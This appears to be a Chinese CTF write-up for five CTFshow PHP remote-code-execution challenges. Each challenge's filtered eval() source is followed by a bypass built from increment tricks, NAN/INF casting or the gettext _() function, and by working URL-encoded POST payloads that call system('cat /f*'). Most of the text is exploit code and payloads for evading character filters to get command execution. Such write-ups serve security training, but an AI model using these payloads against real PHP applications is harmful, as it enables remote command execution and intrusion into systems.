CTFSHOW RCE极限挑战 RCE挑战1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting (0 );highlight_file (__FILE__ );$code = $_POST ['code' ];$code = str_replace ("(" ,"括号" ,$code );$code = str_replace ("." ,"点" ,$code );eval ($code );?>
过滤了’(‘和’.’,没过滤反引号,内联绕过。
playload:
RCE挑战2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['ctf_show' ])) { $ctfshow = $_POST ['ctf_show' ]; if (is_string ($ctfshow )) { if (!preg_match ("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/" ,$ctfshow )){ eval ($ctfshow ); }else { echo ("Are you hacking me AGAIN?" ); } }else { phpinfo (); } } ?>
自增绕过。
fuzz后发现可用的可见字符有:
! $ ‘ ( ) + , . / ; = [ ] _
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php $_ =[];$_ = '' .$_ ;$_ =$_ ['!' ==';' ];$_ ++;$_ ++;$_ ++;$_ ++;$__ =$_ ;$_ ++;$_ ++;$__ =$_ .$__ ;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$__ ='_' .$__ .$_ ;($$__ ['_' ])($$__ ['__' ]);
payload:
1 2 ?_=system&__=cat /f* ctf_show=%24_%3D%5B%5D%3B%24_%20%3D%20''.%24_%3B%24_%3D%24_%5B'!'%3D%3D'%3B'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_.%24__%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D'_'.%24__.%24_%3B(%24%24__%5B'_'%5D)(%24%24__%5B'__'%5D)%3B
RCE挑战3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );highlight_file (__FILE__ ); if (isset ($_POST ['ctf_show' ])) { $ctfshow = $_POST ['ctf_show' ]; if (is_string ($ctfshow ) && strlen ($ctfshow ) <= 105 ) { if (!preg_match ("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/" ,$ctfshow )){ eval ($ctfshow ); }else { echo ("Are you hacking me AGAIN?" ); } }else { phpinfo (); } } ?>
fuzz后发现可用的可见字符有:
$ ( ) + , . / 0 1 ; = [ ] _
并且代码长度限制要小于105。
可以用数字0或者1,那么就可以通过(0/0)来构造float型的NAN,(1/0)来构造float型的INF,然后转换成字符串型,得到”NAN”和”INF”中的字符了,
exp
1 2 3 4 5 6 7 8 9 10 <?php $_ =((0 /0 )._)[0 ]; $_ ++; $__ =$_ .$_ ++; $_ ++; $_ ++; $_ ++; $_ =_.$__ .$_ .++$_ ; $$_ [_]($$_ [0 ]);
至于为什么使用POST,因为N下面就有post的所有字母,而且比较近,而且php的ascii不能自减,所以组GET要废很多时间。
playload:
1 ctf_show=$_=((0/0)._)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[0]);&_=system&0=cat /f*
RCE挑战4 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );highlight_file (__FILE__ ); if (isset ($_POST ['ctf_show' ])) { $ctfshow = $_POST ['ctf_show' ]; if (is_string ($ctfshow ) && strlen ($ctfshow ) <= 84 ) { if (!preg_match ("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/" ,$ctfshow )){ eval ($ctfshow ); }else { echo ("Are you hacking me AGAIN?" ); } }else { phpinfo (); } } ?>
fuzz一下,发现可用的字符只有
$ ( ) + , . / 0 ; = [ ] _
要求长度小于84
exp
1 2 3 4 5 6 7 8 9 10 <?php $_ =(_/_._)[0 ]; $_ ++; $__ =$_ .$_ ++; $_ ++; $_ ++; $_ ++; $_ =_.$__ .$_ .++$_ ; $$_ [_]($$_ [1 ]);
RCE挑战3的playload也能用,但是又尝试压到了78个字符。
playload:
1 ctf_show=$_=(_/_._)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[0]);&_=system&0=cat /f*
RCE挑战5 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['ctf_show' ])) { $ctfshow = $_POST ['ctf_show' ]; if (is_string ($ctfshow ) && strlen ($ctfshow ) <= 73 ) { if (!preg_match ("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/" ,$ctfshow )){ eval ($ctfshow ); }else { echo ("Are you hacking me AGAIN?" ); } }else { phpinfo (); } } ?>
限制73个字符,而且0也不可以用了
$_=(_/_._)[_];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.++$_.++$_;$$_[_]($$_[0]);
重新fuzz,变量这边还能再缩,尝试一些希腊字符等不可见字符。
1 2 3 4 5 6 7 8 <?php $%FF=_ (%FF/%FF)[%FF]; $_ =++$%FF; $_ =_.++$%FF.$_ ;$%FF++; $%FF++; $_ .=++$%FF.++$%FF;$$_ [%FF]($$_ [_]);
极限的73个字符。
看别的师傅的wp,PHP在做字符串拼接的过程中(.操作),是一个从左到右递归的过程,而++
操作类似于一个函数,php在执行完函数后,再做拼接的操作,这里可以$_=$a.$a++;
来拼接PO。
预期解:
1 2 3 4 5 6 7 <?php $a =_ (a/a)[a];$_ =++$a ;$_ =_.++$a .$_ ;$a ++;$a ++;$_ .=++$a .++$a ;$$_ [a]($$_ [_]);
这里观察到phpinfo安装了一个扩展gettext,该扩展支持函数_()
,相当于gettext()
,直接转化为字符串。另外,其实数组下标使用未定义常量,php会warning,但是可以继续运行,并返回下标为0的字符(现象是这样但是实际机制需要看php源码)。其余知识点上面都已经讲过了,剩下的就是靠经验和积累对payload进行精简。
playload:
1 ctf_show=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_=system&%ff=cat /f*
大佬们的不同长度playload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php
62位写法
1 2 3 4 <?PHP $_=_(%FA.%FA)[_];//N $%FA=++$_;//O $$%FA[$%FA=_.++$_.$%FA[$_++/$_++].++$_.++$_]($$%FA[_]); //$_POST[_POST]($_POST[_])